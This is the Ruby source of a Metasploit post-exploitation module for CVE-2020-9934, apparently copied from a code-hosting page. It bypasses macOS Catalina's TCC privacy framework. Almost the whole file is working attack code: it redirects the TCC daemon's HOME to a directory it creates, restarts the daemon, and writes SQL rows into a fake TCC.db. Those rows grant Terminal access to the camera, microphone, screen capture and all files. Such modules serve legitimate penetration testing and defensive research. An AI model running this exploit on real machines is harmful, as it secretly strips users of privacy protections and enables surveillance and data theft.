109 lines
4.1 KiB
Ruby
109 lines
4.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::OSX::Priv
|
|
include Msf::Post::OSX::System
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Bypass the macOS TCC Framework',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the TCC daemon on macOS Catalina
|
|
(<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be
|
|
manipulated (by setting the HOME environment variable) to use a new user
|
|
controlled location as the TCC database. We can then grant ourselves
|
|
entitlements by inserting them into this new database.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'mattshockl', # discovery
|
|
'timwr', # metasploit module
|
|
],
|
|
'References' => [
|
|
['CVE', '2020-9934'],
|
|
['URL', 'https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8'],
|
|
['URL', 'https://github.com/mattshockl/CVE-2020-9934'],
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],
|
|
'Reliability' => []
|
|
},
|
|
'Platform' => [ 'osx' ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ]
|
|
)
|
|
)
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
system_version = get_system_version
|
|
unless system_version
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
version = Rex::Version.new(system_version)
|
|
if version >= Rex::Version.new('10.15.6')
|
|
return Exploit::CheckCode::Safe
|
|
elsif version < Rex::Version.new('10.15.0')
|
|
return Exploit::CheckCode::Unknown
|
|
else
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
end
|
|
|
|
def run
|
|
if check != Exploit::CheckCode::Appears
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
|
|
unless writable? datastore['WritableDir']
|
|
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
|
end
|
|
|
|
tmpdir = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha(8)}"
|
|
tccdir = "#{tmpdir}/Library/Application Support/com.apple.TCC"
|
|
tccdb = "#{tccdir}/TCC.db"
|
|
|
|
print_status("Creating TCC directory #{tccdir}")
|
|
cmd_exec("mkdir -p '#{tccdir}'")
|
|
cmd_exec("launchctl setenv HOME '#{tmpdir}'")
|
|
cmd_exec('launchctl stop com.apple.tccd && launchctl start com.apple.tccd')
|
|
unless file_exist?(tccdb)
|
|
print_error("No fake TCC DB found: #{tccdb}")
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
|
end
|
|
print_good("fake TCC DB found: #{tccdb}")
|
|
|
|
tcc_services = [
|
|
'kTCCServiceCamera', 'kTCCServiceMicrophone', 'kTCCServiceAll', 'kTCCServiceScreenCapture', 'kTCCServiceSystemPolicyDocumentsFolder', 'kTCCService',
|
|
'kTCCServiceSystemPolicyDeveloperFiles', 'kTCCServiceSystemPolicyDesktopFolder', 'kTCCServiceSystemPolicyAllFiles', 'kTCCServiceSystemPolicyNetworkVolumes',
|
|
'kTCCServiceSystemPolicySysAdminFiles', 'kTCCServiceSystemPolicyDownloadsFolder'
|
|
]
|
|
bundle = 'com.apple.Terminal'
|
|
csreq = 'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003'
|
|
isfile = '0'
|
|
timestamp = 1.year.from_now.to_i.to_s
|
|
for service in tcc_services
|
|
sql_insert = "INSERT INTO access VALUES('#{service}', '#{bundle}', #{isfile}, 1, 1, X'#{csreq}', NULL, NULL, 'UNUSED', NULL, NULL, #{timestamp});"
|
|
sqloutput = cmd_exec("sqlite3 '#{tccdb}' \"#{sql_insert}\"")
|
|
if sqloutput && !sqloutput.empty?
|
|
print_error("Output: #{sqloutput.length}")
|
|
end
|
|
end
|
|
print_good('TCC.db was successfully updated!')
|
|
cleanup_command = 'launchctl unsetenv HOME && launchctl stop com.apple.tccd && launchctl start com.apple.tccd'
|
|
cleanup_command << "\nrm -rf '#{tmpdir}'"
|
|
print_status("To cleanup, run:\n#{cleanup_command}\n")
|
|
end
|
|
end
|